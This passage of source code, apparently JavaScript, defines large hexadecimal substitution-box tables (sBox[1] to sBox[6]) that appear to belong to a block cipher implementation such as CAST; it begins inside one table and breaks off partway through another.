0x84c7cb8c, 0x2ad75a0f, 0x874a1427, 0xa2d1936b, 0x2ad286af, 0xaa56d291,\n 0xd7894360, 0x425c750d, 0x93b39e26, 0x187184c9, 0x6c00b32d, 0x73e2bb14, 0xa0bebc3c, 0x54623779,\n 0x64459eab, 0x3f328b82, 0x7718cf82, 0x59a2cea6, 0x04ee002e, 0x89fe78e6, 0x3fab0950, 0x325ff6c2,\n 0x81383f05, 0x6963c5c8, 0x76cb5ad6, 0xd49974c9, 0xca180dcf, 0x380782d5, 0xc7fa5cf6, 0x8ac31511,\n 0x35e79e13, 0x47da91d0, 0xf40f9086, 0xa7e2419e, 0x31366241, 0x051ef495, 0xaa573b04, 0x4a805d8d,\n 0x548300d0, 0x00322a3c, 0xbf64cddf, 0xba57a68e, 0x75c6372b, 0x50afd341, 0xa7c13275, 0x915a0bf5,\n 0x6b54bfab, 0x2b0b1426, 0xab4cc9d7, 0x449ccd82, 0xf7fbf265, 0xab85c5f3, 0x1b55db94, 0xaad4e324,\n 0xcfa4bd3f, 0x2deaa3e2, 0x9e204d02, 0xc8bd25ac, 0xeadf55b3, 0xd5bd9e98, 0xe31231b2, 0x2ad5ad6c,\n 0x954329de, 0xadbe4528, 0xd8710f69, 0xaa51c90f, 0xaa786bf6, 0x22513f1e, 0xaa51a79b, 0x2ad344cc,\n 0x7b5a41f0, 0xd37cfbad, 0x1b069505, 0x41ece491, 0xb4c332e6, 0x032268d4, 0xc9600acc, 0xce387e6d,\n 0xbf6bb16c, 0x6a70fb78, 0x0d03d9c9, 0xd4df39de, 0xe01063da, 0x4736f464, 0x5ad328d8, 0xb347cc96,\n 0x75bb0fc3, 0x98511bfb, 0x4ffbcc35, 0xb58bcf6a, 0xe11f0abc, 0xbfc5fe4a, 0xa70aec10, 0xac39570a,\n 0x3f04442f, 0x6188b153, 0xe0397a2e, 0x5727cb79, 0x9ceb418f, 0x1cacd68d, 0x2ad37c96, 0x0175cb9d,\n 0xc69dff09, 0xc75b65f0, 0xd9db40d8, 0xec0e7779, 0x4744ead4, 0xb11c3274, 0xdd24cb9e, 0x7e1c54bd,\n 0xf01144f9, 0xd2240eb1, 0x9675b3fd, 0xa3ac3755, 0xd47c27af, 0x51c85f4d, 0x56907596, 0xa5bb15e6,\n 0x580304f0, 0xca042cf1, 0x011a37ea, 0x8dbfaadb, 0x35ba3e4a, 0x3526ffa0, 0xc37b4d09, 0xbc306ed9,\n 0x98a52666, 0x5648f725, 0xff5e569d, 0x0ced63d0, 0x7c63b2cf, 0x700b45e1, 0xd5ea50f1, 0x85a92872,\n 0xaf1fbda7, 0xd4234870, 0xa7870bf3, 0x2d3b4d79, 0x42e04198, 0x0cd0ede7, 0x26470db8, 0xf881814c,\n 0x474d6ad7, 0x7c0c5e5c, 0xd1231959, 0x381b7298, 0xf5d2f4db, 0xab838653, 0x6e2f1e23, 0x83719c9e,\n 0xbd91e046, 0x9a56456e, 0xdc39200c, 0x20c8c571, 0x962bda1c, 0xe1e696ff, 0xb141ab08, 0x7cca89b9,\n 0x1a69e783, 0x02cc4843, 0xa2f7c579, 0x429ef47d, 0x427b169c, 0x5ac9f049, 0xdd8f0f00, 0x5c8165bf\n ];\n\n sBox[1] = [\n 0x1f201094, 0xef0ba75b, 0x69e3cf7e, 0x393f4380, 0xfe61cf7a, 0xeec5207a, 0x55889c94, 0x72fc0651,\n 0xada7ef79, 0x4e1d7235, 0xd55a63ce, 0xde0436ba, 0x99c430ef, 0x5f0c0794, 0x18dcdb7d, 0xa1d6eff3,\n 0xa0b52f7b, 0x59e83605, 0xee15b094, 0xe9ffd909, 0xdc440086, 0xef944459, 0xba83ccb3, 0xe0c3cdfb,\n 0xd1da4181, 0x3b092ab1, 0xf997f1c1, 0xa5e6cf7b, 0x01420ddb, 0xe4e7ef5b, 0x25a1ff41, 0xe180f806,\n 0x1fc41080, 0x179bee7a, 0xd37ac6a9, 0xfe5830a4, 0x98de8b7f, 0x77e83f4e, 0x79929269, 0x24fa9f7b,\n 0xe113c85b, 0xacc40083, 0xd7503525, 0xf7ea615f, 0x62143154, 0x0d554b63, 0x5d681121, 0xc866c359,\n 0x3d63cf73, 0xcee234c0, 0xd4d87e87, 0x5c672b21, 0x071f6181, 0x39f7627f, 0x361e3084, 0xe4eb573b,\n 0x602f64a4, 0xd63acd9c, 0x1bbc4635, 0x9e81032d, 0x2701f50c, 0x99847ab4, 0xa0e3df79, 0xba6cf38c,\n 0x10843094, 0x2537a95e, 0xf46f6ffe, 0xa1ff3b1f, 0x208cfb6a, 0x8f458c74, 0xd9e0a227, 0x4ec73a34,\n 0xfc884f69, 0x3e4de8df, 0xef0e0088, 0x3559648d, 0x8a45388c, 0x1d804366, 0x721d9bfd, 0xa58684bb,\n 0xe8256333, 0x844e8212, 0x128d8098, 0xfed33fb4, 0xce280ae1, 0x27e19ba5, 0xd5a6c252, 0xe49754bd,\n 0xc5d655dd, 0xeb667064, 0x77840b4d, 0xa1b6a801, 0x84db26a9, 0xe0b56714, 0x21f043b7, 0xe5d05860,\n 0x54f03084, 0x066ff472, 0xa31aa153, 0xdadc4755, 0xb5625dbf, 0x68561be6, 0x83ca6b94, 0x2d6ed23b,\n 0xeccf01db, 0xa6d3d0ba, 0xb6803d5c, 0xaf77a709, 0x33b4a34c, 0x397bc8d6, 0x5ee22b95, 0x5f0e5304,\n 0x81ed6f61, 0x20e74364, 0xb45e1378, 0xde18639b, 0x881ca122, 0xb96726d1, 0x8049a7e8, 0x22b7da7b,\n 0x5e552d25, 0x5272d237, 0x79d2951c, 0xc60d894c, 0x488cb402, 0x1ba4fe5b, 0xa4b09f6b, 0x1ca815cf,\n 0xa20c3005, 0x8871df63, 0xb9de2fcb, 0x0cc6c9e9, 0x0beeff53, 0xe3214517, 0xb4542835, 0x9f63293c,\n 0xee41e729, 0x6e1d2d7c, 0x50045286, 0x1e6685f3, 0xf33401c6, 0x30a22c95, 0x31a70850, 0x60930f13,\n 0x73f98417, 0xa1269859, 0xec645c44, 0x52c877a9, 0xcdff33a6, 0xa02b1741, 0x7cbad9a2, 0x2180036f,\n 0x50d99c08, 0xcb3f4861, 0xc26bd765, 0x64a3f6ab, 0x80342676, 0x25a75e7b, 0xe4e6d1fc, 0x20c710e6,\n 0xcdf0b680, 0x17844d3b, 0x31eef84d, 0x7e0824e4, 0x2ccb49eb, 0x846a3bae, 0x8ff77888, 0xee5d60f6,\n 0x7af75673, 0x2fdd5cdb, 0xa11631c1, 0x30f66f43, 0xb3faec54, 0x157fd7fa, 0xef8579cc, 0xd152de58,\n 0xdb2ffd5e, 0x8f32ce19, 0x306af97a, 0x02f03ef8, 0x99319ad5, 0xc242fa0f, 0xa7e3ebb0, 0xc68e4906,\n 0xb8da230c, 0x80823028, 0xdcdef3c8, 0xd35fb171, 0x088a1bc8, 0xbec0c560, 0x61a3c9e8, 0xbca8f54d,\n 0xc72feffa, 0x22822e99, 0x82c570b4, 0xd8d94e89, 0x8b1c34bc, 0x301e16e6, 0x273be979, 0xb0ffeaa6,\n 0x61d9b8c6, 0x00b24869, 0xb7ffce3f, 0x08dc283b, 0x43daf65a, 0xf7e19798, 0x7619b72f, 0x8f1c9ba4,\n 0xdc8637a0, 0x16a7d3b1, 0x9fc393b7, 0xa7136eeb, 0xc6bcc63e, 0x1a513742, 0xef6828bc, 0x520365d6,\n 0x2d6a77ab, 0x3527ed4b, 0x821fd216, 0x095c6e2e, 0xdb92f2fb, 0x5eea29cb, 0x145892f5, 0x91584f7f,\n 0x5483697b, 0x2667a8cc, 0x85196048, 0x8c4bacea, 0x833860d4, 0x0d23e0f9, 0x6c387e8a, 0x0ae6d249,\n 0xb284600c, 0xd835731d, 0xdcb1c647, 0xac4c56ea, 0x3ebd81b3, 0x230eabb0, 0x6438bc87, 0xf0b5b1fa,\n 0x8f5ea2b3, 0xfc184642, 0x0a036b7a, 0x4fb089bd, 0x649da589, 0xa345415e, 0x5c038323, 0x3e5d3bb9,\n 0x43d79572, 0x7e6dd07c, 0x06dfdf1e, 0x6c6cc4ef, 0x7160a539, 0x73bfbe70, 0x83877605, 0x4523ecf1\n ];\n\n sBox[2] = [\n 0x8defc240, 0x25fa5d9f, 0xeb903dbf, 0xe810c907, 0x47607fff, 0x369fe44b, 0x8c1fc644, 0xaececa90,\n 0xbeb1f9bf, 0xeefbcaea, 0xe8cf1950, 0x51df07ae, 0x920e8806, 0xf0ad0548, 0xe13c8d83, 0x927010d5,\n 0x11107d9f, 0x07647db9, 0xb2e3e4d4, 0x3d4f285e, 0xb9afa820, 0xfade82e0, 0xa067268b, 0x8272792e,\n 0x553fb2c0, 0x489ae22b, 0xd4ef9794, 0x125e3fbc, 0x21fffcee, 0x825b1bfd, 0x9255c5ed, 0x1257a240,\n 0x4e1a8302, 0xbae07fff, 0x528246e7, 0x8e57140e, 0x3373f7bf, 0x8c9f8188, 0xa6fc4ee8, 0xc982b5a5,\n 0xa8c01db7, 0x579fc264, 0x67094f31, 0xf2bd3f5f, 0x40fff7c1, 0x1fb78dfc, 0x8e6bd2c1, 0x437be59b,\n 0x99b03dbf, 0xb5dbc64b, 0x638dc0e6, 0x55819d99, 0xa197c81c, 0x4a012d6e, 0xc5884a28, 0xccc36f71,\n 0xb843c213, 0x6c0743f1, 0x8309893c, 0x0feddd5f, 0x2f7fe850, 0xd7c07f7e, 0x02507fbf, 0x5afb9a04,\n 0xa747d2d0, 0x1651192e, 0xaf70bf3e, 0x58c31380, 0x5f98302e, 0x727cc3c4, 0x0a0fb402, 0x0f7fef82,\n 0x8c96fdad, 0x5d2c2aae, 0x8ee99a49, 0x50da88b8, 0x8427f4a0, 0x1eac5790, 0x796fb449, 0x8252dc15,\n 0xefbd7d9b, 0xa672597d, 0xada840d8, 0x45f54504, 0xfa5d7403, 0xe83ec305, 0x4f91751a, 0x925669c2,\n 0x23efe941, 0xa903f12e, 0x60270df2, 0x0276e4b6, 0x94fd6574, 0x927985b2, 0x8276dbcb, 0x02778176,\n 0xf8af918d, 0x4e48f79e, 0x8f616ddf, 0xe29d840e, 0x842f7d83, 0x340ce5c8, 0x96bbb682, 0x93b4b148,\n 0xef303cab, 0x984faf28, 0x779faf9b, 0x92dc560d, 0x224d1e20, 0x8437aa88, 0x7d29dc96, 0x2756d3dc,\n 0x8b907cee, 0xb51fd240, 0xe7c07ce3, 0xe566b4a1, 0xc3e9615e, 0x3cf8209d, 0x6094d1e3, 0xcd9ca341,\n 0x5c76460e, 0x00ea983b, 0xd4d67881, 0xfd47572c, 0xf76cedd9, 0xbda8229c, 0x127dadaa, 0x438a074e,\n 0x1f97c090, 0x081bdb8a, 0x93a07ebe, 0xb938ca15, 0x97b03cff, 0x3dc2c0f8, 0x8d1ab2ec, 0x64380e51,\n 0x68cc7bfb, 0xd90f2788, 0x12490181, 0x5de5ffd4, 0xdd7ef86a, 0x76a2e214, 0xb9a40368, 0x925d958f,\n 0x4b39fffa, 0xba39aee9, 0xa4ffd30b, 0xfaf7933b, 0x6d498623, 0x193cbcfa, 0x27627545, 0x825cf47a,\n 0x61bd8ba0, 0xd11e42d1, 0xcead04f4, 0x127ea392, 0x10428db7, 0x8272a972, 0x9270c4a8, 0x127de50b,\n 0x285ba1c8, 0x3c62f44f, 0x35c0eaa5, 0xe805d231, 0x428929fb, 0xb4fcdf82, 0x4fb66a53, 0x0e7dc15b,\n 0x1f081fab, 0x108618ae, 0xfcfd086d, 0xf9ff2889, 0x694bcc11, 0x236a5cae, 0x12deca4d, 0x2c3f8cc5,\n 0xd2d02dfe, 0xf8ef5896, 0xe4cf52da, 0x95155b67, 0x494a488c, 0xb9b6a80c, 0x5c8f82bc, 0x89d36b45,\n 0x3a609437, 0xec00c9a9, 0x44715253, 0x0a874b49, 0xd773bc40, 0x7c34671c, 0x02717ef6, 0x4feb5536,\n 0xa2d02fff, 0xd2bf60c4, 0xd43f03c0, 0x50b4ef6d, 0x07478cd1, 0x006e1888, 0xa2e53f55, 0xb9e6d4bc,\n 0xa2048016, 0x97573833, 0xd7207d67, 0xde0f8f3d, 0x72f87b33, 0xabcc4f33, 0x7688c55d, 0x7b00a6b0,\n 0x947b0001, 0x570075d2, 0xf9bb88f8, 0x8942019e, 0x4264a5ff, 0x856302e0, 0x72dbd92b, 0xee971b69,\n 0x6ea22fde, 0x5f08ae2b, 0xaf7a616d, 0xe5c98767, 0xcf1febd2, 0x61efc8c2, 0xf1ac2571, 0xcc8239c2,\n 0x67214cb8, 0xb1e583d1, 0xb7dc3e62, 0x7f10bdce, 0xf90a5c38, 0x0ff0443d, 0x606e6dc6, 0x60543a49,\n 0x5727c148, 0x2be98a1d, 0x8ab41738, 0x20e1be24, 0xaf96da0f, 0x68458425, 0x99833be5, 0x600d457d,\n 0x282f9350, 0x8334b362, 0xd91d1120, 0x2b6d8da0, 0x642b1e31, 0x9c305a00, 0x52bce688, 0x1b03588a,\n 0xf7baefd5, 0x4142ed9c, 0xa4315c11, 0x83323ec5, 0xdfef4636, 0xa133c501, 0xe9d3531c, 0xee353783\n ];\n\n sBox[3] = [\n 0x9db30420, 0x1fb6e9de, 0xa7be7bef, 0xd273a298, 0x4a4f7bdb, 0x64ad8c57, 0x85510443, 0xfa020ed1,\n 0x7e287aff, 0xe60fb663, 0x095f35a1, 0x79ebf120, 0xfd059d43, 0x6497b7b1, 0xf3641f63, 0x241e4adf,\n 0x28147f5f, 0x4fa2b8cd, 0xc9430040, 0x0cc32220, 0xfdd30b30, 0xc0a5374f, 0x1d2d00d9, 0x24147b15,\n 0xee4d111a, 0x0fca5167, 0x71ff904c, 0x2d195ffe, 0x1a05645f, 0x0c13fefe, 0x081b08ca, 0x05170121,\n 0x80530100, 0xe83e5efe, 0xac9af4f8, 0x7fe72701, 0xd2b8ee5f, 0x06df4261, 0xbb9e9b8a, 0x7293ea25,\n 0xce84ffdf, 0xf5718801, 0x3dd64b04, 0xa26f263b, 0x7ed48400, 0x547eebe6, 0x446d4ca0, 0x6cf3d6f5,\n 0x2649abdf, 0xaea0c7f5, 0x36338cc1, 0x503f7e93, 0xd3772061, 0x11b638e1, 0x72500e03, 0xf80eb2bb,\n 0xabe0502e, 0xec8d77de, 0x57971e81, 0xe14f6746, 0xc9335400, 0x6920318f, 0x081dbb99, 0xffc304a5,\n 0x4d351805, 0x7f3d5ce3, 0xa6c866c6, 0x5d5bcca9, 0xdaec6fea, 0x9f926f91, 0x9f46222f, 0x3991467d,\n 0xa5bf6d8e, 0x1143c44f, 0x43958302, 0xd0214eeb, 0x022083b8, 0x3fb6180c, 0x18f8931e, 0x281658e6,\n 0x26486e3e, 0x8bd78a70, 0x7477e4c1, 0xb506e07c, 0xf32d0a25, 0x79098b02, 0xe4eabb81, 0x28123b23,\n 0x69dead38, 0x1574ca16, 0xdf871b62, 0x211c40b7, 0xa51a9ef9, 0x0014377b, 0x041e8ac8, 0x09114003,\n 0xbd59e4d2, 0xe3d156d5, 0x4fe876d5, 0x2f91a340, 0x557be8de, 0x00eae4a7, 0x0ce5c2ec, 0x4db4bba6,\n 0xe756bdff, 0xdd3369ac, 0xec17b035, 0x06572327, 0x99afc8b0, 0x56c8c391, 0x6b65811c, 0x5e146119,\n 0x6e85cb75, 0xbe07c002, 0xc2325577, 0x893ff4ec, 0x5bbfc92d, 0xd0ec3b25, 0xb7801ab7, 0x8d6d3b24,\n 0x20c763ef, 0xc366a5fc, 0x9c382880, 0x0ace3205, 0xaac9548a, 0xeca1d7c7, 0x041afa32, 0x1d16625a,\n 0x6701902c, 0x9b757a54, 0x31d477f7, 0x9126b031, 0x36cc6fdb, 0xc70b8b46, 0xd9e66a48, 0x56e55a79,\n 0x026a4ceb, 0x52437eff, 0x2f8f76b4, 0x0df980a5, 0x8674cde3, 0xedda04eb, 0x17a9be04, 0x2c18f4df,\n 0xb7747f9d, 0xab2af7b4, 0xefc34d20, 0x2e096b7c, 0x1741a254, 0xe5b6a035, 0x213d42f6, 0x2c1c7c26,\n 0x61c2f50f, 0x6552daf9, 0xd2c231f8, 0x25130f69, 0xd8167fa2, 0x0418f2c8, 0x001a96a6, 0x0d1526ab,\n 0x63315c21, 0x5e0a72ec, 0x49bafefd, 0x187908d9, 0x8d0dbd86, 0x311170a7, 0x3e9b640c, 0xcc3e10d7,\n 0xd5cad3b6, 0x0caec388, 0xf73001e1, 0x6c728aff, 0x71eae2a1, 0x1f9af36e, 0xcfcbd12f, 0xc1de8417,\n 0xac07be6b, 0xcb44a1d8, 0x8b9b0f56, 0x013988c3, 0xb1c52fca, 0xb4be31cd, 0xd8782806, 0x12a3a4e2,\n 0x6f7de532, 0x58fd7eb6, 0xd01ee900, 0x24adffc2, 0xf4990fc5, 0x9711aac5, 0x001d7b95, 0x82e5e7d2,\n 0x109873f6, 0x00613096, 0xc32d9521, 0xada121ff, 0x29908415, 0x7fbb977f, 0xaf9eb3db, 0x29c9ed2a,\n 0x5ce2a465, 0xa730f32c, 0xd0aa3fe8, 0x8a5cc091, 0xd49e2ce7, 0x0ce454a9, 0xd60acd86, 0x015f1919,\n 0x77079103, 0xdea03af6, 0x78a8565e, 0xdee356df, 0x21f05cbe, 0x8b75e387, 0xb3c50651, 0xb8a5c3ef,\n 0xd8eeb6d2, 0xe523be77, 0xc2154529, 0x2f69efdf, 0xafe67afb, 0xf470c4b2, 0xf3e0eb5b, 0xd6cc9876,\n 0x39e4460c, 0x1fda8538, 0x1987832f, 0xca007367, 0xa99144f8, 0x296b299e, 0x492fc295, 0x9266beab,\n 0xb5676e69, 0x9bd3ddda, 0xdf7e052f, 0xdb25701c, 0x1b5e51ee, 0xf65324e6, 0x6afce36c, 0x0316cc04,\n 0x8644213e, 0xb7dc59d0, 0x7965291f, 0xccd6fd43, 0x41823979, 0x932bcdf6, 0xb657c34d, 0x4edfd282,\n 0x7ae5290c, 0x3cb9536b, 0x851e20fe, 0x9833557e, 0x13ecf0b0, 0xd3ffb372, 0x3f85c5c1, 0x0aef7ed2\n ];\n\n sBox[4] = [\n 0x7ec90c04, 0x2c6e74b9, 0x9b0e66df, 0xa6337911, 0xb86a7fff, 0x1dd358f5, 0x44dd9d44, 0x1731167f,\n 0x08fbf1fa, 0xe7f511cc, 0xd2051b00, 0x735aba00, 0x2ab722d8, 0x386381cb, 0xacf6243a, 0x69befd7a,\n 0xe6a2e77f, 0xf0c720cd, 0xc4494816, 0xccf5c180, 0x38851640, 0x15b0a848, 0xe68b18cb, 0x4caadeff,\n 0x5f480a01, 0x0412b2aa, 0x259814fc, 0x41d0efe2, 0x4e40b48d, 0x248eb6fb, 0x8dba1cfe, 0x41a99b02,\n 0x1a550a04, 0xba8f65cb, 0x7251f4e7, 0x95a51725, 0xc106ecd7, 0x97a5980a, 0xc539b9aa, 0x4d79fe6a,\n 0xf2f3f763, 0x68af8040, 0xed0c9e56, 0x11b4958b, 0xe1eb5a88, 0x8709e6b0, 0xd7e07156, 0x4e29fea7,\n 0x6366e52d, 0x02d1c000, 0xc4ac8e05, 0x9377f571, 0x0c05372a, 0x578535f2, 0x2261be02, 0xd642a0c9,\n 0xdf13a280, 0x74b55bd2, 0x682199c0, 0xd421e5ec, 0x53fb3ce8, 0xc8adedb3, 0x28a87fc9, 0x3d959981,\n 0x5c1ff900, 0xfe38d399, 0x0c4eff0b, 0x062407ea, 0xaa2f4fb1, 0x4fb96976, 0x90c79505, 0xb0a8a774,\n 0xef55a1ff, 0xe59ca2c2, 0xa6b62d27, 0xe66a4263, 0xdf65001f, 0x0ec50966, 0xdfdd55bc, 0x29de0655,\n 0x911e739a, 0x17af8975, 0x32c7911c, 0x89f89468, 0x0d01e980, 0x524755f4, 0x03b63cc9, 0x0cc844b2,\n 0xbcf3f0aa, 0x87ac36e9, 0xe53a7426, 0x01b3d82b, 0x1a9e7449, 0x64ee2d7e, 0xcddbb1da, 0x01c94910,\n 0xb868bf80, 0x0d26f3fd, 0x9342ede7, 0x04a5c284, 0x636737b6, 0x50f5b616, 0xf24766e3, 0x8eca36c1,\n 0x136e05db, 0xfef18391, 0xfb887a37, 0xd6e7f7d4, 0xc7fb7dc9, 0x3063fcdf, 0xb6f589de, 0xec2941da,\n 0x26e46695, 0xb7566419, 0xf654efc5, 0xd08d58b7, 0x48925401, 0xc1bacb7f, 0xe5ff550f, 0xb6083049,\n 0x5bb5d0e8, 0x87d72e5a, 0xab6a6ee1, 0x223a66ce, 0xc62bf3cd, 0x9e0885f9, 0x68cb3e47, 0x086c010f,\n 0xa21de820, 0xd18b69de, 0xf3f65777, 0xfa02c3f6, 0x407edac3, 0xcbb3d550, 0x1793084d, 0xb0d70eba,\n 0x0ab378d5, 0xd951fb0c, 0xded7da56, 0x4124bbe4, 0x94ca0b56, 0x0f5755d1, 0xe0e1e56e, 0x6184b5be,\n 0x580a249f, 0x94f74bc0, 0xe327888e, 0x9f7b5561, 0xc3dc0280, 0x05687715, 0x646c6bd7, 0x44904db3,\n 0x66b4f0a3, 0xc0f1648a, 0x697ed5af, 0x49e92ff6, 0x309e374f, 0x2cb6356a, 0x85808573, 0x4991f840,\n 0x76f0ae02, 0x083be84d, 0x28421c9a, 0x44489406, 0x736e4cb8, 0xc1092910, 0x8bc95fc6, 0x7d869cf4,\n 0x134f616f, 0x2e77118d, 0xb31b2be1, 0xaa90b472, 0x3ca5d717, 0x7d161bba, 0x9cad9010, 0xaf462ba2,\n 0x9fe459d2, 0x45d34559, 0xd9f2da13, 0xdbc65487, 0xf3e4f94e, 0x176d486f, 0x097c13ea, 0x631da5c7,\n 0x445f7382, 0x175683f4, 0xcdc66a97, 0x70be0288, 0xb3cdcf72, 0x6e5dd2f3, 0x20936079, 0x459b80a5,\n 0xbe60e2db, 0xa9c23101, 0xeba5315c, 0x224e42f2, 0x1c5c1572, 0xf6721b2c, 0x1ad2fff3, 0x8c25404e,\n 0x324ed72f, 0x4067b7fd, 0x0523138e, 0x5ca3bc78, 0xdc0fd66e, 0x75922283, 0x784d6b17, 0x58ebb16e,\n 0x44094f85, 0x3f481d87, 0xfcfeae7b, 0x77b5ff76, 0x8c2302bf, 0xaaf47556, 0x5f46b02a, 0x2b092801,\n 0x3d38f5f7, 0x0ca81f36, 0x52af4a8a, 0x66d5e7c0, 0xdf3b0874, 0x95055110, 0x1b5ad7a8, 0xf61ed5ad,\n 0x6cf6e479, 0x20758184, 0xd0cefa65, 0x88f7be58, 0x4a046826, 0x0ff6f8f3, 0xa09c7f70, 0x5346aba0,\n 0x5ce96c28, 0xe176eda3, 0x6bac307f, 0x376829d2, 0x85360fa9, 0x17e3fe2a, 0x24b79767, 0xf5a96b20,\n 0xd6cd2595, 0x68ff1ebf, 0x7555442c, 0xf19f06be, 0xf9e0659a, 0xeeb9491d, 0x34010718, 0xbb30cab8,\n 0xe822fe15, 0x88570983, 0x750e6249, 0xda627e55, 0x5e76ffa8, 0xb1534546, 0x6d47de08, 0xefe9e7d4\n ];\n\n sBox[5] = [\n 0xf6fa8f9d, 0x2cac6ce1, 0x4ca34867, 0xe2337f7c, 0x95db08e7, 0x016843b4, 0xeced5cbc, 0x325553ac,\n 0xbf9f0960, 0xdfa1e2ed, 0x83f0579d, 0x63ed86b9, 0x1ab6a6b8, 0xde5ebe39, 0xf38ff732, 0x8989b138,\n 0x33f14961, 0xc01937bd, 0xf506c6da, 0xe4625e7e, 0xa308ea99, 0x4e23e33c, 0x79cbd7cc, 0x48a14367,\n 0xa3149619, 0xfec94bd5, 0xa114174a, 0xeaa01866, 0xa084db2d, 0x09a8486f, 0xa888614a, 0x2900af98,\n 0x01665991, 0xe1992863, 0xc8f30c60, 0x2e78ef3c, 0xd0d51932, 0xcf0fec14, 0xf7ca07d2, 0xd0a82072,\n 0xfd41197e, 0x9305a6b0, 0xe86be3da, 0x74bed3cd, 0x372da53c, 0x4c7f4448, 0xdab5d440, 0x6dba0ec3,\n 0x083919a7, 0x9fbaeed9, 0x49dbcfb0, 0x4e670c53, 0x5c3d9c01, 0x64bdb941, 0x2c0e636a, 0xba7dd9cd,\n 0xea6f7388, 0xe70bc762, 0x35f29adb, 0x5c4cdd8d, 0xf0d48d8c, 0xb88153e2, 0x08a19866, 0x1ae2eac8,\n 0x284caf89, 0xaa928223, 0x9334be53, 0x3b3a21bf, 0x16434be3, 0x9aea3906, 0xefe8c36e, 0xf890cdd9,\n 0x80226dae, 0xc340a4a3, 0xdf7e9c09, 0xa694a807, 0x5b7c5ecc, 0x221db3a6, 0x9a69a02f, 0x68818a54,\n 0xceb2296f, 0x53c0843a, 0xfe893655, 0x25bfe68a, 0xb4628abc, 0xcf222ebf, 0x25ac6f48, 0xa9a99387,\n 0x53bddb65, 0xe76ffbe7, 0xe967fd78, 0x0ba93563, 0x8e342bc1, 0xe8a11be9, 0x4980740d, 0xc8087dfc,\n 0x8de4bf99, 0xa11101a0, 0x7fd37975, 0xda5a26c0, 0xe81f994f, 0x9528cd89, 0xfd339fed, 0xb87834bf,\n 0x5f04456d, 0x22258698, 0xc9c4c83b, 0x2dc156be, 0x4f628daa, 0x57f55ec5, 0xe2220abe, 0xd2916ebf,\n 0x4ec75b95, 0x24f2c3c0, 0x42d15d99, 0xcd0d7fa0, 0x7b6e27ff, 0xa8dc8af0, 0x7345c106, 0xf41e232f,\n 0x35162386, 0xe6ea8926, 0x3333b094, 0x157ec6f2, 0x372b74af, 0x692573e4, 0xe9a9d848, 0xf3160289,\n 0x3a62ef1d, 0xa787e238, 0xf3a5f676, 0x74364853, 0x20951063, 0x4576698d, 0xb6fad407, 0x592af950,\n 0x36f73523, 0x4cfb6e87, 0x7da4cec0, 0x6c152daa, 0xcb0396a8, 0xc50dfe5d, 0xfcd707ab, 0x0921c42f,\n 0x89dff0bb, 0x5fe2be78, 0x448f4f33, 0x754613c9, 0x2b05d08d, 0x48b9d585, 0xdc049441, 0xc8098f9b,\n 0x7dede786, 0xc39a3373, 0x42410005, 0x6a091751, 0x0ef3c8a6, 0x890072d6, 0x28207682, 0xa9a9f7be,\n 0xbf32679d, 0xd45b5b75, 0xb353fd00, 0xcbb0e358, 0x830f220a, 0x1f8fb214, 0xd372cf08, 0xcc3c4a13,\n 0x8cf63166, 0x061c87be, 0x88c98f88, 0x6062e397, 0x47cf8e7a, 0xb6c85283, 0x3cc2acfb, 0x3fc06976,\n 0x4e8f0252, 0x64d8314d, 0xda3870e3, 0x1e665459, 0xc10908f0, 0x513021a5, 0x6c5b68b7, 0x822f8aa0,\n 0x3007cd3e, 0x74719eef, 0xdc872681, 0x073340d4, 0x7e432fd9, 0x0c5ec241, 0x8809286c, 0xf592d891,\n 0x08a930f6, 0x957ef305, 0xb7fbffbd, 0xc266e96f, 0x6fe4ac98, 0xb173ecc0, 0xbc60b42a, 0x953498da,\n 0xfba1ae12, 0x2d4bd736, 0x0f25faab, 0xa4f3fceb, 0xe2969123, 0x257f0c3d, 0x9348af49, 0x361400bc,\n 0xe8816f4a, 0x3814f200, 0xa3f94043, 0x9c7a54c2, 0xbc704f57, 0xda41e7f9, 0xc25ad33a, 0x54f4a084,\n 0xb17f5505, 0x59357cbe, 0xedbd15c8, 0x7f97c5ab, 0xba5ac7b5, 0xb6f6deaf, 0x3a479c3a, 0x5302da25,\n 0x653d7e6a, 0x54268d49, 0x51a477ea, 0x5017d55b, 0xd7d25d88, 0x44136c76, 0x0404a8c8, 0xb8e5a121,\n 0xb81a928a, 0x60ed5869, 0x97c55b96, 0xeaec991b, 0x29935913, 0x01fdb7f1, 0x088e8dfa, 0x9ab6f6f5,\n 0x3b4cbf9f, 0x4a5de3ab, 0xe6051d35, 0xa0e1d855, 0xd36b4cf1, 0xf544edeb, 0xb0e93524, 0xbebb8fbd,\n 0xa2d762cf, 0x49c92f54, 0x38b5f331, 0x7128a454, 0x48392905, 0xa65b1db8, 0x851c97bd, 0xd675cf2f\n ];\n\n sBox[6] = [\n 0x85e04019, 0x332bf567, 0x662dbfff, 0xcfc65693, 0x2a8d7f6f, 0xab9bc912, 0xde6008a1, 0x2028da1f,\n 0x0227bce7, 0x4d642916, 0x18fac300, 0x50f18b82, 0x2cb2cb11, 0xb232e75c, 0x4b3695f2, 0xb28707de,\n 0xa05fbcf6, 0xcd4181e9, 0xe150210c, 0xe24ef1bd, 0xb168c381, 0xfde4e789, 0x5c79b0d8, 0x1e8bfd43,\n 0x4d495001, 0x38be4341, 0x913cee1d, 0x92a79c3f, 0x089766be, 0xbaeeadf4, 0x1286becf, 0xb6eacb19,\n 0x2660c200, 0x7565bde4, 0x64241f7a, 0x8248dca9, 0xc3b3ad66, 0x28136086, 0x0bd8dfa8, 0x356d1cf2,\n 0x107789be, 0xb3b2e9ce, 0x0502aa8f, 0x0bc0351e, 0x166bf52a, 0xeb12ff82, 0xe3486911, 0xd34d7516,\n 0x4e7b3aff, 0x5f43671b, 0x9cf6e037, 0x4981ac83, 0x334266ce, 0x8c9341b7, 0xd0d854c0, 0xcb3a6c88,\n 0x47bc2829, 0x4725ba37, 0xa66ad22b, 0x7ad61f1e, 0x0c5cbafa, 0x4437f107, 0xb6e79962, 0x42d2d816,\n 0x0a961288, 0xe1a5c06e, 0x13749e67, 0x72fc081a, 0xb1d139f7, 0xf9583745, 0xcf19df58, 0xbec3f756,\n 0xc06eba30, 0x07211b24, 0x45c28829, 0xc95e317f, 0xbc8ec511, 0x38bc46e9, 0xc6e6fa14, 0xbae8584a,\n 0xad4ebc46, 0x468f508b, 0x7829435f, 0xf124183b, 0x821dba9f, 0xaff60ff4, 0xea2c4e6d, 0x16e39264,\n 0x92544a8b, 0x009b4fc3, 0xaba68ced, 0x9ac96f78, 0x06a5b79a, 0xb2856e6e, 0x1aec3ca9, 0xbe838688,\n 0x0e0804e9, 0x55f1be56, 0xe7e5363b, 0xb3a1f25d, 0xf7debb85, 0x61fe033c, 